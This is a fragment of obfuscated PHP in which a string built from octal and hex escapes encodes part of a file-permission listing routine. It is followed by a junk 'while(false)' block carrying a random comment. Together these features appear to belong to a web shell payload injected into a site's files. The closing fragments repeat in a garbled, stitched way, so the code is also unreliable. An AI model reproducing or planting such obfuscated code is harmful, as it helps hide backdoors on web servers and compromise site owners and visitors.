'\x2d');\015\x0a\x24in\146\x6f\x20\056=\x20((\x24\160\145rms \x26 \x30x0\060\x308)\040?\015\012((\044\x70e\x72ms\x20& 0x\0604\0600) \077 '\x73' : \047\170' ) :\x0d\x0a((\x24pe\x72\155s\040& \060x\x30400\x29 ?\x20'S\x27\x20\072 '-\047))\073\x0d\x0a\x0d\x0a\057\057\x20Wo\x72\154\144\015\x0a\044i\156\146\x6f\040\056= ((\044\160\145\162\155s\040\x26\0400\1700\060\x304\051\040? '\162' \072 '\x2d\047\x29\073\x0d\012\x24\x69\156\146\x6f .= (\x28\044\x70er\x6ds & \060x\x30\x3002)\x20? \047w' : '-\047);\015\x0a\x24\151nfo \x2e\075 ((\044pe\162m\163 & \x30\170\x30\x30\0601\x29\x20\x3f\015\x0a\x28(\044perm\x73\040& \060\17002\0600) \077\x20\047\164\x27\040:\040\047\170'\x20)\x20:\x0d\x0a\050\x28\x24per\x6d\163 & 0x\060200)\040\x3f 'T\x27\040:\040\047-'))\073\x0d\012\x0d\x0a\x72\145\x74\x75r\x6e \x24\x69nf\x6f;\015\012}\x0d\x0a\077\x3e\015\x0a\015\x0a\077>\015\x0a\x26 \x30x\x30\06001)\x20?\015\012(\050\044pe\x72m\163 & \060\x78\x302\x300)\040\077\040'\164\x27\040\x3a\040'\170' \051\x20:\x0d\x0a((\044\x70e\x72\155\163 \x26 0x0\x3200)\x20? '\124' : '-'\051)\073\015\012\x0d\012ret\x75\x72\156\040\044info;\015\x0a\x7d\x0d\012?>\x0d\012\015\012\077>\015\012))\x3b\x0d\x0a\015\x0a\162\145tu\x72n \044in\x66o\073\x0d\012}\x0d\x0a?>\x0d\x0a\x0d\012?\x3e\015\x0a"; ?><?php while(false){/*EGnMI8l7eEco9PFk*/ break;}; ?>